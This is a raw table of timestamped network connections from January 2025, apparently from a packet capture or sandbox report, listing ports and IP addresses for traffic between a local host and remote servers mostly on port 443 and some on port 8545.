Jan 9, 2025 13:19:24.786596060 CET	443	49792	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:24.786648989 CET	49792	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:24.786654949 CET	443	49792	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:24.786782980 CET	49792	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:24.802035093 CET	443	49793	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:24.802067995 CET	443	49793	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:24.802078009 CET	443	49793	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:24.802094936 CET	443	49793	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:24.802128077 CET	443	49793	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:24.802191019 CET	49793	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:24.802201986 CET	443	49793	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:24.802288055 CET	49793	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:24.803134918 CET	443	49793	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:24.803160906 CET	443	49793	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:24.803246021 CET	49793	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:24.803253889 CET	443	49793	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:24.803287983 CET	49793	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:24.829597950 CET	49792	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:24.847584009 CET	49793	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:24.851023912 CET	443	49797	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:24.851210117 CET	443	49797	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:24.851267099 CET	49797	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:24.851758957 CET	49797	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:24.851778984 CET	443	49797	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:24.852097988 CET	49808	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:24.852137089 CET	443	49808	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:24.852196932 CET	49808	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:24.852819920 CET	49808	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:24.852833986 CET	443	49808	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:24.855405092 CET	49809	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:24.855432034 CET	443	49809	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:24.855494976 CET	49809	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:24.855732918 CET	49809	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:24.855745077 CET	443	49809	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:24.857881069 CET	8545	49801	3.33.155.121	192.168.2.16
Jan 9, 2025 13:19:24.858613014 CET	443	49795	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:24.858690977 CET	443	49795	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:24.858740091 CET	49795	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:24.859535933 CET	49795	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:24.859546900 CET	443	49795	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:24.882668972 CET	443	49799	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:24.882759094 CET	443	49799	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:24.882802010 CET	49799	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:24.884078026 CET	49799	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:24.884094954 CET	443	49799	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:24.886848927 CET	49810	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:24.886889935 CET	443	49810	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:24.886950016 CET	49810	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:24.887161970 CET	49810	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:24.887176037 CET	443	49810	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:24.897608042 CET	443	49792	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:24.897624969 CET	443	49792	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:24.897660971 CET	443	49792	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:24.897692919 CET	443	49792	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:24.897723913 CET	49792	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:24.897723913 CET	49792	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:24.897732973 CET	443	49792	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:24.897773027 CET	49792	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:24.898539066 CET	443	49792	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:24.898559093 CET	443	49792	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:24.898607016 CET	49792	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:24.898619890 CET	443	49792	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:24.898637056 CET	49792	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:24.898690939 CET	49792	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:24.898708105 CET	443	49792	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:24.898787022 CET	443	49792	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:24.898830891 CET	49792	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:24.898830891 CET	49792	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:24.899017096 CET	49792	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:24.899030924 CET	443	49792	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:24.901467085 CET	443	49798	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:24.901494980 CET	443	49798	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:24.901504040 CET	443	49798	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:24.901549101 CET	49798	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:24.901560068 CET	443	49798	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:24.901797056 CET	49811	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:24.901828051 CET	443	49811	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:24.901901007 CET	49811	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:24.902297974 CET	49811	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:24.902309895 CET	443	49811	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:24.902396917 CET	443	49798	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:24.902441025 CET	49798	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:24.902985096 CET	49798	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:24.902993917 CET	443	49798	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:24.903017998 CET	49798	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:24.903038979 CET	49798	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:24.905240059 CET	49812	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:24.905262947 CET	443	49812	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:24.905322075 CET	49812	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:24.905597925 CET	49812	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:24.905612946 CET	443	49812	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:24.906361103 CET	49813	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:24.906382084 CET	443	49813	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:24.906446934 CET	49813	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:24.906620979 CET	49813	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:24.906635046 CET	443	49813	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:24.908400059 CET	49801	8545	192.168.2.16	3.33.155.121
Jan 9, 2025 13:19:24.910542965 CET	443	49796	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:24.910562992 CET	443	49796	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:24.910722017 CET	49796	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:24.910731077 CET	443	49796	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:24.911187887 CET	49796	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:24.911216021 CET	443	49796	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:24.911273003 CET	49796	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:24.915258884 CET	443	49793	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:24.915268898 CET	443	49793	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:24.915297985 CET	443	49793	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:24.915352106 CET	49793	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:24.915361881 CET	443	49793	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:24.915397882 CET	49793	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:24.915416956 CET	49793	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:24.916510105 CET	443	49793	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:24.916527987 CET	443	49793	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:24.916598082 CET	49793	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:24.916608095 CET	443	49793	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:24.916661024 CET	49793	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:24.918122053 CET	443	49793	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:24.918139935 CET	443	49793	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:24.918188095 CET	49793	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:24.918194056 CET	443	49793	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:24.918209076 CET	49793	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:24.918236971 CET	49793	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:24.948182106 CET	443	49793	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:24.948201895 CET	443	49793	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:24.948489904 CET	49793	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:24.948529005 CET	443	49793	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:24.948585987 CET	49793	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:25.026211977 CET	443	49793	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:25.026232958 CET	443	49793	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:25.026536942 CET	49793	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:25.026581049 CET	443	49793	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:25.026640892 CET	49793	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:25.026957035 CET	443	49793	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:25.026972055 CET	443	49793	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:25.027024984 CET	49793	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:25.027034044 CET	443	49793	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:25.027051926 CET	49793	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:25.027106047 CET	49793	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:25.027918100 CET	443	49793	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:25.027944088 CET	443	49793	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:25.028023005 CET	49793	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:25.028032064 CET	443	49793	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:25.028047085 CET	49793	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:25.028083086 CET	49793	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:25.028811932 CET	443	49793	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:25.028825998 CET	443	49793	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:25.028898001 CET	49793	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:25.028907061 CET	443	49793	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:25.028960943 CET	49793	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:25.029840946 CET	443	49793	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:25.029858112 CET	443	49793	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:25.029922009 CET	49793	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:25.029934883 CET	443	49793	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:25.029985905 CET	49793	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:25.036813021 CET	443	49793	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:25.036832094 CET	443	49793	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:25.036900043 CET	49793	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:25.036907911 CET	443	49793	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:25.036962032 CET	49793	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:25.061676979 CET	443	49793	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:25.061691999 CET	443	49793	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:25.061770916 CET	49793	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:25.061786890 CET	443	49793	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:25.061849117 CET	49793	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:25.081423044 CET	49680	80	192.168.2.16	192.229.211.108
Jan 9, 2025 13:19:25.114906073 CET	443	49793	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:25.114928007 CET	443	49793	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:25.115058899 CET	49793	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:25.115114927 CET	443	49793	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:25.115191936 CET	49793	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:25.138472080 CET	443	49793	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:25.138489008 CET	443	49793	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:25.138623953 CET	49793	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:25.138708115 CET	443	49793	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:25.138782024 CET	49793	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:25.139022112 CET	443	49793	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:25.139039993 CET	443	49793	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:25.139117956 CET	49793	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:25.139133930 CET	443	49793	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:25.139198065 CET	49793	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:25.139631987 CET	443	49793	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:25.139647961 CET	443	49793	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:25.139715910 CET	49793	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:25.139730930 CET	443	49793	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:25.139799118 CET	49793	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:25.140057087 CET	443	49793	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:25.140070915 CET	443	49793	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:25.140130997 CET	49793	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:25.140146971 CET	443	49793	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:25.140178919 CET	49793	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:25.140217066 CET	49793	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:25.140477896 CET	443	49793	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:25.140491962 CET	443	49793	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:25.140562057 CET	49793	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:25.140577078 CET	443	49793	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:25.140635967 CET	49793	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:25.140805960 CET	443	49793	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:25.140820026 CET	443	49793	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:25.140893936 CET	49793	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:25.140908003 CET	443	49793	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:25.140961885 CET	49793	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:25.149265051 CET	443	49793	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:25.149279118 CET	443	49793	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:25.149389029 CET	49793	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:25.149401903 CET	443	49793	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:25.149461985 CET	49793	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:25.203752995 CET	443	49793	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:25.203777075 CET	443	49793	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:25.204027891 CET	49793	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:25.204066038 CET	443	49793	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:25.204123974 CET	49793	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:25.223551035 CET	8545	49807	3.33.155.121	192.168.2.16
Jan 9, 2025 13:19:25.223562956 CET	8545	49807	3.33.155.121	192.168.2.16
Jan 9, 2025 13:19:25.223568916 CET	8545	49807	3.33.155.121	192.168.2.16
Jan 9, 2025 13:19:25.223596096 CET	8545	49807	3.33.155.121	192.168.2.16
Jan 9, 2025 13:19:25.223607063 CET	8545	49807	3.33.155.121	192.168.2.16
Jan 9, 2025 13:19:25.223653078 CET	49807	8545	192.168.2.16	3.33.155.121
Jan 9, 2025 13:19:25.223665953 CET	8545	49807	3.33.155.121	192.168.2.16
Jan 9, 2025 13:19:25.223741055 CET	49807	8545	192.168.2.16	3.33.155.121
Jan 9, 2025 13:19:25.223741055 CET	49807	8545	192.168.2.16	3.33.155.121
Jan 9, 2025 13:19:25.224112988 CET	49807	8545	192.168.2.16	3.33.155.121
Jan 9, 2025 13:19:25.224240065 CET	49807	8545	192.168.2.16	3.33.155.121
Jan 9, 2025 13:19:25.224371910 CET	49807	8545	192.168.2.16	3.33.155.121
Jan 9, 2025 13:19:25.227191925 CET	443	49793	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:25.227232933 CET	443	49793	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:25.227317095 CET	49793	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:25.227325916 CET	443	49793	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:25.227397919 CET	49793	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:25.227466106 CET	443	49793	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:25.227484941 CET	443	49793	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:25.227545023 CET	49793	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:25.227552891 CET	443	49793	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:25.227597952 CET	49793	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:25.227987051 CET	443	49793	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:25.228005886 CET	443	49793	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:25.228066921 CET	49793	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:25.228075981 CET	443	49793	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:25.228123903 CET	49793	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:25.228319883 CET	443	49793	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:25.228338003 CET	443	49793	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:25.228418112 CET	49793	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:25.228419065 CET	49793	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:25.228425980 CET	443	49793	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:25.228482008 CET	49793	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:25.228828907 CET	443	49793	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:25.228847980 CET	443	49793	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:25.228919029 CET	49793	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:25.228926897 CET	443	49793	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:25.228951931 CET	49793	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:25.228961945 CET	49793	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:25.228991032 CET	8545	49807	3.33.155.121	192.168.2.16
Jan 9, 2025 13:19:25.229104042 CET	443	49793	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:25.229120016 CET	443	49793	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:25.229135990 CET	8545	49807	3.33.155.121	192.168.2.16
Jan 9, 2025 13:19:25.229160070 CET	49793	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:25.229166985 CET	443	49793	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:25.229202032 CET	49793	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:25.229229927 CET	49793	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:25.229243994 CET	8545	49807	3.33.155.121	192.168.2.16
Jan 9, 2025 13:19:25.237942934 CET	443	49793	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:25.237961054 CET	443	49793	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:25.238032103 CET	49793	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:25.238040924 CET	443	49793	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:25.238097906 CET	49793	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:25.292386055 CET	443	49793	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:25.292402983 CET	443	49793	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:25.292488098 CET	49793	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:25.292505980 CET	443	49793	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:25.292561054 CET	49793	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:25.292871952 CET	443	49793	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:25.292886972 CET	443	49793	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:25.292948961 CET	49793	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:25.292958021 CET	443	49793	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:25.293009996 CET	49793	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:25.316132069 CET	443	49793	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:25.316154003 CET	443	49793	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:25.316253901 CET	49793	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:25.316283941 CET	443	49793	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:25.316346884 CET	49793	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:25.316649914 CET	443	49793	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:25.316664934 CET	443	49793	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:25.316742897 CET	49793	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:25.316751957 CET	443	49793	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:25.316803932 CET	49793	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:25.317051888 CET	443	49793	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:25.317065954 CET	443	49793	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:25.317133904 CET	49793	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:25.317142010 CET	443	49793	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:25.317194939 CET	49793	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:25.317683935 CET	443	49793	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:25.317698002 CET	443	49793	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:25.317764044 CET	49793	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:25.317771912 CET	443	49793	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:25.317825079 CET	49793	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:25.318094969 CET	443	49793	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:25.318109989 CET	443	49793	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:25.318178892 CET	49793	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:25.318187952 CET	443	49793	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:25.318239927 CET	49793	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:25.323054075 CET	8545	49807	3.33.155.121	192.168.2.16
Jan 9, 2025 13:19:25.323277950 CET	49807	8545	192.168.2.16	3.33.155.121
Jan 9, 2025 13:19:25.326575041 CET	443	49793	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:25.326595068 CET	443	49793	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:25.326649904 CET	49793	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:25.326659918 CET	443	49793	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:25.326678991 CET	49793	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:25.326699972 CET	49793	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:25.328088045 CET	8545	49807	3.33.155.121	192.168.2.16
Jan 9, 2025 13:19:25.328355074 CET	443	49793	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:25.328370094 CET	443	49793	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:25.328428984 CET	49793	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:25.328438044 CET	443	49793	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:25.328489065 CET	49793	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:25.381617069 CET	443	49793	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:25.381639957 CET	443	49793	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:25.381715059 CET	49793	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:25.381751060 CET	443	49793	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:25.381805897 CET	49793	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:25.405015945 CET	443	49793	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:25.405033112 CET	443	49793	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:25.405163050 CET	49793	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:25.405189991 CET	443	49793	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:25.405252934 CET	49793	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:25.405345917 CET	443	49793	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:25.405361891 CET	443	49793	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:25.405420065 CET	49793	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:25.405431032 CET	443	49793	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:25.405483007 CET	49793	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:25.405872107 CET	443	49793	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:25.405888081 CET	443	49793	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:25.405936003 CET	49793	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:25.405945063 CET	443	49793	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:25.405986071 CET	49793	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:25.406227112 CET	443	49793	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:25.406240940 CET	443	49793	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:25.406296968 CET	49793	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:25.406306028 CET	443	49793	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:25.406372070 CET	49793	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:25.406666994 CET	443	49793	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:25.406682014 CET	443	49793	89.46.108.67	192.168.2.16
